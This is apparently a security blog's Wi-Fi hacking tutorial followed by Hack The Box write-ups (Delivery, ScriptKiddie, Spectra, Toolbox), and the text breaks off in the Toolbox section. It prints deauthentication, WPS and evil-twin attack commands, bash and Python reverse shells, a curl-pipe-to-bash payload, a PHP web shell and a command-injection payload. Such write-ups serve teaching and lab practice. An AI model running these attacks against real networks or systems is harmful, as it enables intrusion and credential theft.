How To Hack Wi-Fi Networks

Wi-Fi networks are everywhere! Whether you’re in an industrial or residential area, there will likely be a Wi-Fi access point nearby. They allow us to have instant access to any information we need. They allow us to communicate with people on the other side of the world. We’re living in interesting times where information travels at the speed of light. Hello world, welcome to haxez where today I will be explaining how to hack Wi-Fi networks. If you’re looking for more information on the subject then head over to this article on Bordergate. Also, please go and watch the video at the bottom of the page.

Wi-Fi Hacking Hardware

While it might be possible to perform some Wi-Fi attacks using your built-in Wi-Fi chipset, you will have better success with the proper kit. There are dozens of manufacturers that make claims that their product offers the required functionality. However, after purchasing a bunch of cheap products and some expensive ones, I can honestly say that the Alfa makes the best devices for the job. In order to hack wireless networks, you need to be able to put the card in monitor mode and be able to perform packet injection. Some Alfa cards may be better than others but I’ve had a lot of luck with the AWUS036ACH.

Alfa Card

Wi-Fi Brute-Force Attacks

One attack that doesn’t get mentioned much when discussing Wi-Fi hacking is brute force attacks. Brute force attacks are one of the most common methods that threat actors use to gain access to a system. If the system is secured using a weak password then a brute force attack should get you access to that system pretty quickly. Obviously, this discounts brute force protection mechanisms. However, you would be surprised at how many products don’t offer brute force protection by default. With a few lines of Python, it is possible to brute force the access point’s password. See this GitHub repository for an example.

Brute Force Wi-Fi Password

Wi-Fi Deauthentication Attack

A Wi-Fi deauthentication attack is an attack that abuses the built-in functionality of the access point. The threat actor would impersonate the access point and send spoofed packets to a client. These packets deauthenticate the client. As a result, the client is disconnected from the access point. In order for the client to reconnect to the access point, it needs to send the secret to re-authenticate. The threat actor can then intercept the packet containing the secret and crack it to reveal the access point’s password.

First, you need to put your Wi-Fi adapter into monitor mode and start capturing data. This can be done using airodump-ng.

sudo airodump-ng wlan0

Then, you should start receiving information about the access points nearby.

Wi-Fi Hacking Airodump-ng

Once you know which Wi-Fi network you want to attack, make a note of the BSSID and the channel number. Next, you need to start capturing packets from that AP and writing them to your local storage. This can be done using the airodump-ng tool again.

sudo airodump-ng --bssid <BSSID> --channel <CHANNEL> --write handshake wlan0
Capturing Wi-Fi Packets

Next, you need to identify a client to perform the attack. As you can see from the image above, one client has connected and we can see its station ID. Take note of the station ID as it will be needed for the next part of the attack. Using the tool aireplay-ng we can start creating the de-authentication packets and sending them to the client.

sudo aireplay-ng --deauth 4 -a <BSSID> -c <CLIENT STATION ID> wlan0
Wi-Fi Deauthentication Attack

Finally, it’s time to crack the password from the packet we just captured. In order to do this we need to use the tool aircrack-ng. First, we specify the wordlist, then the AP BSSID, and finally the packet capture file.

sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID> handshake.cap
Cracking the hash

WPS Pixie-Dust Attack

WPS or Wi-Fi protected setup is a feature of wireless access points that allows for easy pairing of wireless devices. It was created and released by Cisco in 2006 and has since seen several vulnerabilities. One of these vulnerabilities is known as a Pixie Dust attack which brute forces the WPS feature of wireless access points. In order to carry out this attack we first need to set our Wi-Fi adapter to monitor mode.

sudo airmon-ng start wlan0

Next, we need to use the tool wash to identify Wi-Fi access points in the area that have WPS enabled.

sudo wash -i wlan0
WPS Pixie-Dust Attack

Take the BSSID and the channel number from the output. Finally, we need to run the tool reaver to start the attack. As you can see from the command below, we’re specifying the BSSID, and the channel number, adding verbosity, specifying an output file, and setting the pixie dust argument to 1. After a few moments, you will receive a bunch of output including the WPS pin and WPA PSK.

sudo reaver --interface wlan0 --bssid <BSSID> --channel <CHANNEL> -vv -N -O output.pcap --pixie-dust 1

Evil Twin Attack

An evil twin attack is an attack where the threat actor essentially clones a legitimate access point and coerces the victim to connect to it. Once the victim is connected, the threat actor can then carry out several attacks such as forcing the victim to submit their credentials to a captive portal. This type of attack can be performed using the tool wifiphisher. Once run, you will see a number of access points. Select the one you want to attack.

sudo wifiphisher

The attack we’re going to be demonstrating is the captive portal attack which will ask the user for their password. Select the attack you want and the tool should start attacking the access point to deauth clients and prevent them from reconnecting.

available phishing scenarios

The clients should then automatically connect to the threat actor’s access point and load the captive portal. The portal will access them for their password. The captive portal page can be customized to mimic social networking sites or even a page mimicking the ISP that provided the access point.

Wifi Captive Portal

Anything submitted to the captive portal is sent to the threat actor in clear text. If the user submits their Wi-Fi password then the threat actor could now connect to the victim’s Wi-Fi and access their internal network. If they submitted their social media details then the threat actor would have that password which could be used for other online services.

Clear text credentials captured.

Wi-Fi Hacking With Wifite

We have covered a lot of attacks, some of which have a complicated setup and use multiple tools. However, there is one tool that does almost all of them. That tool is called wifite and it’s a wrapper for the other tools we have used. It’s simple to use, all you need to do is run the wifite command. Within a few seconds, you should start seeing wifi networks pop up.

sudo wifite
Wi-Fi - Wifite

When you see the network you want to attack, press control c to stop scanning. Then, input the number of the network you want to attack. Wifite will then go through each attack until it finds an attack that works. If you know that a certain type of attack isn’t going to work, it can be skipped with control c. Finally, if the attack is successful, it should automatically crack the password and display the results.


Wi-Fi Hacking Conclusions

While technology is catching up to these types of attacks, your home access point may not have those features. Also, it may not be configured to protect against these attacks out of the box. You want to make sure you’re using long complex passwords not found in wordlists. This will help ensure that even if the threat actor captures the secret, they can’t crack it. Furthermore, you should disable technologies like WPS. If you need it to connect a printer, do so but then disable it after. Anyway, the real reason for this post is to try and get more eyes on the demonstration video below. Please go check it out.

Hack The Box Delivery Writeup

Delivery is an easy Linux box created by IppSec on Hack The Box and was released on the 09th Jan 2021. Hello world, welcome to Haxez where today I will be explaining how I hacked Delivery. To complete this box it is recommended that you have basic web enumeration and brute force skills. By completing this box you will learn email impersonation and intermediate password-cracking skills.

Delivery Service Enumeration

First, I connected to the Hack The Box VPN and spawned the Delivery box. After receiving the IP address, I sent it a ping to check that it was online. The box responded to my ping so I performed a Nmap scan to check all ports, request service versions and run default scripts. I set the minimum packet rate to 10000 packets per second and saved the output in all formats. As a result, I learnt that port 22 for Open SSH 7.9, port 80 for Nginx 1.14.2 and port 8065 for an unknown service were open. Furthermore, the SSH banner suggested that the OS was Debian.

└─$ sudo nmap -sC -sV -p- --min-rate 10000 -oA Delivery
Delivery Service Enumeration

Delivery Web Application Enumeration

I navigated to the application on port 80 by visiting the IP address in my browser. After the application loaded, I saw that it was HTML 5 application that had two options. The first one I looked at was the contact us page. In short, the contact us page explains that unregistered users need to use the help desk to have an email address created. Once the email address has been created, the user will be able to access the MatterMost server.

Web Application Contact Us Page

Next, I clicked the link for the MatterMost server but received an error. The application was redirecting to the domain delivery.htb on port 8065 (the mystery port). However, since that domain doesn’t exist in the real world it can’t resolve. I will fix this in a moment. The other link on the application was for the helpdesk. However, upon clicking the link I received an error as it was also trying to load a domain that didn’t exist.

Web Application enumeration

In order to rectify this, I added the hostname to my host file through the use of echo and tee. Echo will echo the data you provide back to you. Tee will read from standard input and write to standard output and files. After adding the domains to my host file, I refreshed the page and was able to view the intended applications.

└─$ echo " delivery.htb" | sudo tee -a /etc/hosts
Delivery Applications

Exploiting The Ticketing System

I decided to create a new ticket to test the functionality. First I populated the contact information with bogus data. Then, I completed the CAPTCHA text and clicked Create a ticket. After creating the ticket the web application produced a response advising me of my ticket number. However, the application also informed me that I could reply to the ticket by emailing the address [email protected]. The mailbox appears to be created dynamically for use with the ticketing system.

Delivery Ticket Created

The MatterMost application required a corporate email address to sign up. I now had a corp email address where I could view its emails through the ticket system. I headed back to the MatterMost application and signed up with the [email protected] email address. Then, MatterMost responded and said that I needed to verify my email address (as most online sites do). I headed back to the ticketing system and could now view the verification email.

Verificiation Email

Exploring MatterMost

After logging in to MatterMost, there was an option to join the Internal channel. Joining the channel and reading through the messages I learnt that maildeliverer user had a password of Youve_G0t_Mail!. Furthermore, the root user has asked for a program to prevent password reuse. They go on to explain that while certain words may not be found within a wordlist, hashcat rules can be used to crack variations.

Delivery MatterMost

With the credentials found in the MatterMost application, I was able to SSH to the box as the maildeliverer user. Once on the box, I was able to capture the user.txt flag.

└─$ ssh [email protected]                                  
maildeliverer@Delivery:~$ pwd
maildeliverer@Delivery:~$ ls
maildeliverer@Delivery:~$ cat user.txt

Delivery Host Enumeration

Since MatterMost is a database-driven web application, there must be a database connection configuration file on the box. After a bit of poking around, I found the database connection details within the /opt/mattermost/config/config.json file in the SqlSettings section.

"DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(
Delivery MatterMost SQL configuration

With the credentials, I was able to log in to MariaDB and query the databases. First, I asked MariaDB to show me the databases. As a result, I learnt that there was a database called mattermost. Next, I told MariaDB to use that database and asked it to show me the tables. The results revealed that there was a Users table. I then asked MariaDB to describe the table so that I could get the columns. Finally, I dumped the contents of a few columns from the Users table.

maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -p
MariaDB [(none)]> show databases;
MariaDB [mattermost]> show tables;
MariaDB [mattermost]> describe Users;
MariaDB [mattermost]> select Id, Username, Password from Users;
Dumping The Users

Delivery Privilege Escalation

The Users table included the password hash for the root user. After a bit of searching, I learnt that the type of hash was a bcrypt hash. I tried to blast the hash with rockyou.txt but after watching IppSec’s video I learnt that it wouldn’t work. Instead, I took the PleaseSubscribe! password from the MatterMost server and saved it to a file. I then saved the hash to a file and used hashcat with the best64.rule file to crack the hash.

└─$ hashcat -m 3200 hash.txt password.txt -r /usr/share/hashcat/rules/best64.rule

With the password cracked, I was able to switch to the root user and capture the root.txt flag and complete the box.

maildeliverer@Delivery:/opt/mattermost/config$ su root
root@Delivery:/opt/mattermost/config# cat /root/root.txt

Delivery Learnings

I thought this was a rather unique box compared to other boxes that I’ve completed. The initial foothold didn’t exploit a known vulnerability or configuration issue. It was more about understanding the psychology of the person who created the environment and exploiting their oversights. I thought it was really interesting and hopefully, it has changed the way I will think about security in the future.

The privilege escalation was great, I haven’t used hashcat rules before so I got to learn something new. All I want from completing a box is to learn something new or reinforce existing knowledge. This box fulfilled both of those so I’m happy. I don’t think I would have been able to complete this without the walkthrough but it’s hard to say. Thanks for the Box.

Hack The Box ScriptKiddie Writeup

ScriptKiddie is an easy Linux box created by 0xdf on Hack The Box and was released on the 6th Feb 2021. Hello world, welcome to Haxez where today I will explain how I hacked ScriptKiddie. In order to complete this box it is recommended that you have basic Linux and Bash knowledge. It is also recommended that you know how to use Metasploit. By completing this box you will learn to exploit CVE-2020-7384. How to perform OS command Injection in command arguments, and how to run system commands from Metasploit console.

ScriptKiddie Service Enumeration

First, I connected to the Hack The Box VPN and spawned the box. As soon as I received the box’s IP address, I sent a ping to ensure it was online. After the box responded, I performed a Nmap scan to check all ports, request service versions and run default scripts. I set the minimum packet rate to 10000 packets and saved the output in all formats to files named scriptkiddie. As a result, I learnt that ports 22 for OpenSSH 8.2p1 and port 5000 for Werkzeug HTTP were open. Furthermore, the SSH banner revealed that it was an Ubuntu box.

└─$ sudo nmap -sC -sV -p- --min-rate 10000 -oA scriptkiddie
ScriptKiddie Service Enumeration

ScriptKiddie Web Application Enumeration

As it’s never SSH, I went to view the application on port 5000. I launched Burp suite and opened the Burp browser through the proxy settings. The application loaded and I was amused by what I saw. Initially, I thought the name of the box was in reference to the skill level required. However, it seems that my target is a hacker or a script kiddie to be specific.

ScriptKiddie Web Application

After poking at the application and testing for things like SSRF, I ran gobuster using the raft-small-words.txt wordlist from SecLists. Unfortunately, I didn’t find anything interesting but the practice is good for developing muscle memory and a methodology.

└─$ sudo gobuster dir -u -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -o gobuster
ScriptKiddie Gobuster

Web Application Nmap Feature Fuzzing

I ran ffuf against the Nmap scan feature. I tested the functionality in Burp to see what data was required. Then I constructed the command from those results. First I specified the target using the -u argument and supplying the URL. Next, I specified the data which was an IP address and the scan action which you can see below.

Burp Request

After that, I specified the special-chars.txt wordlist from SecLists. Finally, I used the -x argument to set Burp as a proxy. I ran the command but the responses weren’t correct. They didn’t contain the results of the Nmap scan. Looking at the request, I discovered that the Content-Type header wasn’t being supplied. I added this to the command and ran it again. The generic response size was 2145 so I added a filter for that and was able to identify a “bad character”.

└─$ ffuf -u -d 'ip=' -w /media/sf_OneDrive/SecLists/Fuzzing/special-chars.txt -H 'Content-Type: application/x-www-form-urlencoded' -x -fs 2145
Web Application Fuzzing with ffuf

Unfortunately, the & symbol was not a bad character. URL encoding the character and sending the request through Burp produced an invalid IP address error. It was only showing a different file size because it was a valid request. Back to testing.

Web Application Searchsploit Feature Fuzzing

I started poking at the sploits feature by searching for vulnerabilities. One interesting behaviour that I observed was searching for ms17-010 (Eternal Blue) produced a warning message. The warning message advised me that they would hack me for trying to hack them. I suspected that the hyphen character was triggering some input validation. Despite the warnings, I continued poking and learnt that the input was being passed to searchsploit. If Python was using exec or eval then I could get code execution.

First, I reloaded the previous ffuf command and removed the file size filter. Next, I change the value of the data value to include the search and action parameters. I wanted to fuzz the value of the search parameter so I added FUZZ to the end of it. I ran the scan and identified the default file size. Finally, I ran the scan again but filtered out the file default file zie. As a result, I learnt that & symbol, a full stop or period symbol, and the plus symbol were creating different responses. Unfortunately, looking at the responses from the server these different file sizes were expected responses. The rest of the fuzz requests produced errors but the and, plus and period symbols were all valid requests.

└─$ ffuf -u -d 'search=testFUZZ&action=searchsploit' -w /media/sf_OneDrive/SecLists/Fuzzing/special-chars.txt -H 'Content-Type: application/x-www-form-urlencoded' -x -fs 2171
ScriptKiddie fuzzing

Web Application Msfvenom Feature

The final feature of the application allowed the user to generate payloads using msfvenom. It was time to use the Script Kiddies’ own application against them. By utilising my elite hacking skills I leveraged the application searchsploit functionality to discover a vulnerability in msfvenom. Ok, back to reality, certain versions of msfvenom are vulnerable to command injection through the APK template. The Script Kiddie was kind enough to give us a template upload feature.

On my attack box, I used searchsploit with the -m argument to copy the exploit to my current working directory. Next, I edited the exploit and changed the payload to a cURL command that downloads and executes my shell script. Admittedly, I’m not quite sure how the exploit works. I’m currently watching IppSec’s video and he’s going to explain it at the end.

└─$ searchsploit -m multiple/local/
# Change me
payload = 'curl|bash'

Initially, I thought that I had to upload the Python script as the template. That does seem rather foolish now. The Python script generates the APK template which I then need to upload to the box. Next, I created my shell script.

└─$ cat   
bash -i >& /dev/tcp/ 0>&1

Then, I started a Python webserver on port 80 to host the file.

└─$ sudo python3 -m http.server 80 
Serving HTTP on port 80 ( ...

After starting the server, I set up my netcat listener to listen on the port specified in the shell script.

└─$ sudo nc -lvnp 1337            
listening on [any] 1337 ...

Script Kiddie Foothold

With the web server and listener running, I ran the Python script to generate the APK. Honestly, I didn’t expect this to work the first time. I’ve completed around 70 easy boxes now and I always tend to struggle with “complex” payloads. Granted, it probably isn’t that complex compared to insane boxes but its all subjective I suppose.

└─$ python3 
Creating the exploit

Next, I populated the msfvenom settings on the target application. I selected Android for the target OS, for the LHOST and selected the malicious APK for the template. After populating the parameters, I hit submit. The application thought about it for a while but then the first stage of the attack triggered. The server downloaded the script from my webserver, and shortly after that, the reverse shell came back. This is by far one of the coolest attack chains I’ve ever successfully performed.

reverse shell

From here, I was able to capture the user flag.

└─$ sudo nc -lvnp 1337            
[sudo] password for kali: 
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 35960
bash: cannot set terminal process group (938): Inappropriate ioctl for device
bash: no job control in this shell
kid@scriptkiddie:~/html$ cat ~/user.txt
cat ~/user.txt

ScriptKiddie Host Enumeration

Now that I had authenticated access to the box, it was time to perform some more enumeration. In order to capture the root flag, I will need to elevate my privileges. The only way to do that is through enumeration. However, first I upgraded my terminal using the Python trick.

kid@scriptkiddie:~/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
kid@scriptkiddie:~/html$ ^Z
zsh: suspended  sudo nc -lvnp 1337                                                                                                                                      
└─$ stty raw -echo; fg
[1]  + continued  sudo nc -lvnp 1337
kid@scriptkiddie:~/html$ export TERM=xterm
export TERM=xterm

Admittedly, the previous step was a bit pointless as I dropped an SSH key into the user’s authorized keys. I then connected to the box via SSH using the private key. Once on the box, I performed some manual enumeration and learnt there was another user called pwn. Furthermore, the pwn user had a readable script in their home directory named

pwn user script

Reviewing the script, it is setting the log variable to /home/kid/logs/hackers. Next, it is changing the directory to the /home/pwn directory. After changing the directory, it uses cat to read the log file. Next, it uses space as a delimiter on the third field. It then passes the results to a while loop as an IP address and uses nmap to scan the IP.

ScriptKiddie Lateral Movement

Now that I understood what the script was doing, I should be able to craft a payload that gets executed. By echoing a payload to the /home/kid/logs/hackers file, the payload should get executed. However, I need to ensure that the payload is within the third field of the log. I started a netcat listener on port 1338 and then used echo to add the following payload to the log file.

kid@scriptkiddie:~$ echo 'a b $(bash -c "bash -i &>/dev/tcp/ 0>&1")' > /home/kid/logs/hackers

The a and b part of the payloads takes up the first two fields. The reverse shell is then added to the third field which gets executed by the script. As a result, I received a reverse shell and now had access to the box as the pwn user.

reverse shell to pwn user

ScriptKiddie Privilege Escalation

Now that I had access as the pwn user, I ran sudo -l to see if they could execute any commands with sudo privileges. As a result, I learnt that they could run Metasploit.

sudo -l

With that in mind, I launched Metasploit with sudo and then dropped into the ruby shell as root which allowed me to capture the root flag.

msf6 > irb
stty: 'standard input': Inappropriate ioctl for device
[*] Starting IRB shell...
[*] You are in the "framework" object
Switch to inspect mode.
irb: warn: can't alias jobs from irb_jobs.
>> system("/bin/bash")
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

ScriptKiddie Learnings

This is a box that I’m going to have to come back to at a later date. I understood the attack chain and why most things were vulnerable, but I couldn’t identify them. The initial foothold was a lot of fun. However, I definitely wouldn’t have suspected that particular feature to have the vulnerability. Given that there were only three features, I may have stumbled upon it eventually but I guess that’s where experience comes in.

Once on the box, I struggled to understand what to do next. Admittedly I should have checked for other users. I also learnt that my brain immediately goes into panic mode when trying to read code. I’m not a master at bash but I can read and write basic scripts. I don’t know why my immediate reaction was “This is too hard”. Then again, I wasn’t quite sure what I was looking for.

If I’m being honest with myself, I don’t know why my payload was executed. I understand the logic of the script but I don’t know at which point it executes the reverse shell. I assume that it’s happening before it gets passed to the tool because the tool would have produced an error. But then does the rest of the script still get executed? Surely if it did, it would also result in an error as the tool is still receiving invalid input. I assume that the script hangs once it executes the payload and then I receive the reverse shell. I will have to come back to revisit it. Anyway, I struggled with this box but learnt a lot so thanks for the box.

Hack The Box Spectra Writeup

Spectra is an easy ChromeOS box created by egre55 on Hack The Box and was released on the 27th of February 2021. Hello world, welcome to Haxez where today I will explain how I hacked Spectra. To hack Spectra it is recommended that you have web enumeration and Linux enumeration skills. By owning Spectra you will learn lateral movement, file system permissions and sudo exploitation skills.

Spectra Enumeration

After spawning the box, I sent a ping request to check if I could talk to the box. Next, I ran a Nmap scan against all ports, requesting service versions and running default scripts. In addition, I set the minimum packet rate to 10000 packets per second and saved the output to all formats. As a result, I learnt that port 22 for OpenSSH 8.1, Port 80 for Nginx 1.17.4 and port 3306 for MySQL were open.

└─$ sudo nmap -sC -sV -p- --min-rate 10000 -oA spectra
Spectra Enumeration

Web Application Enumeration

Next, I navigated to the IP address in my browser and a site loaded and presented two links. Clicking on each of the two links resulted in an error in Burp. In short, the links were attempting to load the domain spectra.htb but because that domain doesn’t resolve to an IP address, it doesn’t work. In order to make it work, I added the IP address and domain to my host file.

└─$ echo " spectra.htb" | sudo tee -a /etc/hosts

The Test link took me to a page with a database connection error. Initially, I didn’t think much of it but removing the index.php file from the URL revealed that directory listing was enabled.

Directory listing enabled

The directory listing revealed a file named The wp-config.php file contains the database connection details for WordPress sites. However, attempting to view that file will force the server to process the PHP rather than display the contents. Since the file doesn’t have a .PHP extension, I was able to view it by viewing the page source. I wasn’t able to log in to MySQL with the credentials but they could come in handy later.

Spectra wordpress configuration file

The second link took me to a WordPress site titled Software Issue Management. I could see that there was a user called administrator but other than that not much else. I navigated to the wp-login.php URL and tried the password that I found with the administrator user. The site kept trying to load over HTTPS which caused errors but forcing it to HTTP solved those issues.

wordpress backend

Spectra Foothold

I used the Theme editor to edit the 404 page of one of the unused themes. In short, I slipped a web shell into the page. As a result, when visiting the 404.php page directly and passing it the cmd parameter, I should be able to perform code execution.

<?php system($_REQUEST['cmd']); ?>
Spectra Template editor

Next, I navigated to the 404 page and passed the id command to the cmd parameter. As a result, the details for the nginx user were returned. Code execution confirmed.

code execution

I ran into issues here and decided to go nuclear. For some reason, I wasn’t able to send myself a reverse shell via the web shell. I created a bash script which I hosted with a Python web server. I tried to curl the script and pipe it to bash but didn’t receive anything. Furthermore, I also downloaded the script with wget, and made it executable but when executing it, no reverse shell came back. For that reason, replaced the 404.php with the Pentest Monkey reverse shell. It wasn’t pretty but I was able to get a shell on the box as the nginx user.

PHP reverse shell
└─$ sudo nc -lvnp 1337                                            
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 34768
Linux spectra 5.4.66+ #1 SMP Tue Dec 22 13:39:49 UTC 2020 x86_64 Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz GenuineIntel GNU/Linux
 02:02:28 up  1:42,  0 users,  load average: 0.11, 0.05, 0.01
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
$ whoami

Host Enumeration

After landing on the box I started enumerating the system. I checked the /etc/lsb-release file to identify the Operating System. To my surprise, It turns out that the box is using Chrome OS which probably had something to do with my reverse shells not working. Despite owning a Chromebook years ago, I have no idea how one works.

cat /etc/lsb-release 
CHROMEOS_RELEASE_BUILD_TYPE=Developer Build - neverware
CHROMEOS_RELEASE_DESCRIPTION=87.3.41 (Developer Build - neverware) stable-channel chromeover64

I read through the official walkthrough and watched IppSec’s video to find out how to proceed. I hosted LinPEAS on a web server and used cURL to download it and piped it to bash.

Reading through the results, It turned out there is an auto-login feature. This feature loads after boot and I believe it allows the user to automatically log in. However, in order for this to work, it needs to retrieve the user’s password. The user’s password is saved in the /etc/autologin/passwd file. With this password, I was able to SSH to the box as Katie and capture the user flag.

└─$ ssh [email protected]                                                                                                                      
The authenticity of host ' (' can't be established.
RSA key fingerprint is SHA256:lr0h4CP6ugF2C5Yb0HuPxti8gsG+3UY5/wKjhnjGzLs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (RSA) to the list of known hosts.
([email protected]) Password: 
katie@spectra ~ $ ls
log  user.txt
katie@spectra ~ $ cat user.txt

ChromeOS Initctl

Once logged in as Katie, I ran sudo -l and learnt that Katie could execute /sbin/initctl as sudo with no password. However, I didn’t have a clue what initctl was. GTFO Bins didn’t have any matches for the binary so it was back to investigating. I cheated and used ChatGPT and here’s what ChatGPT had to say about it.

In Chrome OS, initctl is a command used to manage system services. It allows you to start, stop, restart, and check the status of services on the system. initctl is used by the system’s init system, which is responsible for starting and managing system processes and services.

Chrome OS is based on the Linux operating system and initctl is a command from the Upstart init system that was commonly used on Linux systems in the past. However, in recent versions of Chrome OS, initctl has been replaced by systemctl, which is part of the newer systemd init system.

Spectra Privilege Escalation

Since Katie can control the services, she should be able to restart them. If I can find a service owned by root that I can edit, I could restart the service and execute commands as root. I checked the /etc/init directory for services and there were several test services that stood out. They were owned by root but the group ownership was developers. Since Katie was also a member of the developers’ group, she could edit the files.

First, I used initctl to stop the test service. If you don’t stop the service first and then stop the service after you make the changes, it reverts the changes.

katie@spectra ~ $ sudo /sbin/initctl stop test

Next, I modified the test file and added the following payload.

python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'
Python payload

After that, I started the netcat listener on my attack box and then started the test service.

katie@spectra ~ $ sudo /sbin/initctl start test

The reverse shell came back and I was able to capture the root flag.

└─$ sudo nc -lvnp 1234                                                                                                                            
[sudo] password for kali: 
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 33618
# whoami
# cat root.txt
cat: root.txt: No such file or directory
# cat /root/root.txt

Spectra Learnings

I found this difficult for an easy box but I believe that’s mostly due to how unfamiliar I am with Chrome OS. Ok, it’s Linux but it didn’t behave as expected when trying to get a reverse shell. This threw me off for a bit. The initial enumeration was fun and it taught me not to make assumptions about things. As soon as I saw the database error on the test link, I wrote that off as an attack vector. I realise how silly that is now since it makes sense that it would be more of an attack vector.

I was stumped on the privilege escalation. LinPEAS didn’t scream the answer at me in highlighted red and yellow text. I also didn’t get the password printed to the screen like IppSec did in his video so that was odd. While I found it difficult, I did get to learn about ChromeOS which was nice. However, it seems that Google has since switched to systemd for service management. Anyway, this was a fun box. Thanks

Hack The Box Toolbox Writeup

Toolbox is an easy Windows machine created by MinatoTW on Hack The Box and was released on the 12th of March 2021. Hello world, welcome to Haxez where today I will explain how I hacked Toolbox. In order to complete this box you will need basic web knowledge. By completing this box you will learn to leverage PostgreSQL SQL Injection for RCE and Docker Toolbox exploitation.

Toolbox Enumeration

First, I spawned the box and sent a single ping request to check if I could talk to it. Next, I performed a Nmap scan that scanned all ports, requested service versions and ran default scripts. I saved the output in all formats to files named Toolbox. I instructed Nmap to send a minimum of 10000 packets per second. However, I wouldn’t advise you to do this on real engagements. 10000 packets per second are quite a lot and could congest the network and cause disruption on the target host.

As a result of the scan, I learnt that the host had a plethora of ports open including 21 for FTP. Furthermore, FTP also allowed anonymous access. SSH was listening on port 22 with the banner informing me that it was OpenSSH for Windows 7.7. Port 443 for HTTP with the banner advising me that it was Apache 2.4.38. The SSL certificate’s common name was which could be useful later. Finally, ports 139, and 445 were open for SMB. A few other ports were open including 5985 for WinRM.

My first thought was that this box appears to be having an identity crisis. It’s a Windows box with SSH enabled and was also running an Apache webserver. I would have expected to see IIS.

└─$ sudo nmap -sC -sV -p- --min-rate 10000 -oA Toolbox
Toolbox Enumeration

Toolbox Service Enumeration

Starting with the lowest port number, I connected to the FTP service using the username anonymous. I submitted an empty password and was granted access. Next, I listed out the contents of the FTP directory and saw an executable named docker-toolbox.exe. I suspected that it was just there to give me a hint about the environment but I downloaded it anyway. Other than that, there wasn’t anything else on the FTP server.

└─$ ftp
Name ( anonymous
ftp> ls
ftp> get docker-toolbox.exe
Toolbox anonymous ftp

Since SSH was unlikely to be the attack vector I moved on to SMB. I was optimistic that null sessions might be enabled. Unfortunately, they weren’t but through using crackmapexec, I was able to learn the hostname and domain name. The hostname was TOOLBOX and the domain name was Toolbox. For practice, I also ran smbmap and smbclient.

└─$ crackmapexec smb -u '' -p '' --shares
Enumerating SMB

Web Application Enumeration

With the low-hanging fruit picked, I headed to the web application. I visited the IP address over HTTPS in my browser which loaded a logistics web application. I have to commend the author of the box for this one. It seemed like they put a lot of effort in to this application. It had the generic Lorem ipsum text but it felt real.

Toolbox web application

I was capturing the requests and responses in Burp when I noticed something interesting. I ran a few other tools like whatweb too and they all reported the same thing. The HTTP server header was reporting that it was Apache 2.4.38 for Debian. As this is a Windows box, I was now certain that the web application was running inside a Docker container.

└─$ whatweb -a3 -v
Toolbox whatweb server header

SSL Certificate Subdomain

I poked around the web application for a bit but I suspected that the subdomain that Nmap found was the path forward. I used the echo tool to append the subdomain to my host file.

└─$ echo "" | sudo tee -a /etc/hosts 

After that, I visited the subdomain in my browser and was presented with a login page. I tried a variety of easily guessable passwords like admin and password but they all failed. Next, I moved on to trying special characters like the single quotation mark. Bingo, the single quotation mark escaped the SQL query and produced an error. The login form was vulnerable to SQL Injection.

Toolbox SQL injection

I looked through my Burp HTTP history and found the log-in POST request. I saved this request to a file so that I could feed it to SQLMap.

Toolbox Saving Log In Request

Toolbox SQL Injection

First, I ran SQLMap with the batch argument so that it would automatically choose the default option in the prompts. Additionally, I used the force SSL option since the target was using SSL. After the initial tests confirmed SQL injection, I enumerated the database. I dumped the contents of the user’s table from the public database. Please note the image below has been edited to only show the relevant information.


Next, I used the tool hash-identifier to identify the hash. The error message produced when identifying the SQL injection suggested it was an MD5. I had no doubt that it’s an MD5 but this way I get to show off a cool tool.

└─$ hash-identifier 4a100a85cb5ca3616dcf137918550815 
Hash identifer

Next, I attempted to crack the hash with Hashcat and John using the rockyou wordlist. Unfortunately, neither of them was able to crack the hash. I also uploaded the hash to but it also didn’t recognise the hash. Moving on, I used a traditional logic authentication bypass to log in to the application. By submitting the logic of “or 1=1 — -” to the login form, it bypasses authentication regardless of the password being correct.

App SQL injection

However, this seemed to be a dead end. Other than being able to retrieve a few email addresses, there wasn’t much I could do.

admin email addresses

Toolbox SQL Injection To Foothold

With the application thoroughly investigated, I went back to the drawing board. The help menu for SQLMap shows that there is a –os-shell command. The os shell will prompt for an interactive operating system shell. I appended this command to my initial SQLMap command and successfully received a command shell.

└─$ sudo sqlmap -r request --batch --force-ssl --os-shell
SQL Map Command Shell

I set up a netcat listener on my attack machine and then sent myself a reverse shell via the os-shell.

os-shell> bash -c "bash -i >& /dev/tcp/ 0>&1"

The reverse shell connected back to my netcat listener and I was able to capture the user.txt flag.

└─$ sudo nc -lvnp 9001                                            
[sudo] password for kali: 
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 50127
bash: cannot set terminal process group (1574): Inappropriate ioctl for device
bash: no job control in this shell
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ cd ~
postgres@bc56e3cc55e9:/var/lib/postgresql$ cat user.txt
cat user.txt
f01▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓c6a  flag.txt

Toolbox Host Enumeration

First things first, I located the Python3 and Bash binaries so that I could upgrade my shell. Using the Python3 trick, I upgraded my shell to make it more usable.

postgres@bc56e3cc55e9:/var/lib/postgresql$ which python3
postgres@bc56e3cc55e9:/var/lib/postgresql$ which bash                            
postgres@bc56e3cc55e9:/var/lib/postgresql$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Confident that I was inside a Docker container, I ran ifconfig. I could have ran LinPEASS which would have confirmed it but the following way works too. A tell-tale sign of being inside a container is that the IP address doesn’t match the target. The results of ifconfig showed that the IP address of the host was The Docker host was likely going to be the first IP address in the subnet (

Toolbox ifconfig

